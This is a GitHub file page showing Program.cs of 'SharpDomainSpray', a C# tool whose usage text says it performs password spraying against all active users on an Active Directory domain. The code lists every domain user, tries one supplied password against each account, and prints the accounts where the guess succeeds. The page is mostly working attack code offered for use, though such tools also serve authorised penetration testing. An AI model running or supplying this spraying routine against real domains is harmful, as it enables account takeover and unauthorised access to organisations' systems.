-
Notifications
You must be signed in to change notification settings - Fork 18
Expand file tree
/
Copy pathProgram.cs
More file actions
51 lines (42 loc) · 1.55 KB
/
Program.cs
File metadata and controls
51 lines (42 loc) · 1.55 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
using System;
using System.Collections.Generic;
using System.Linq;
using System.DirectoryServices.AccountManagement;
using System.Text;
using System.DirectoryServices.ActiveDirectory;
using System.IO;
namespace SharpDomainSpray
{
class Program
{
static void Main(string[] args)
{
if (args.Length == 0)
{
System.Console.WriteLine("SharpSpray: Perform password spraying for all active users on a domain.");
System.Console.WriteLine("");
System.Console.WriteLine("Usage: SharpSpray.exe PASSWORD");
}
string pass_to_guess = String.Empty;
if (args.Length == 1)
{
pass_to_guess = args[0];
}
List<string> ad_users = new List<string>();
string domain_name = DomainInformation.GetDomainOrWorkgroup();
ADUser aduser = new ADUser();
ad_users = aduser.ADuser();
ADAuth auth = new ADAuth();
bool valid_or_not = false;
foreach (string line in ad_users)
{
valid_or_not = auth.Authenticate(line, pass_to_guess, domain_name);
if (valid_or_not == true)
{
Console.WriteLine("");
Console.WriteLine("User: " + line + " " + "Password is: " + pass_to_guess);
}
}
}
}
}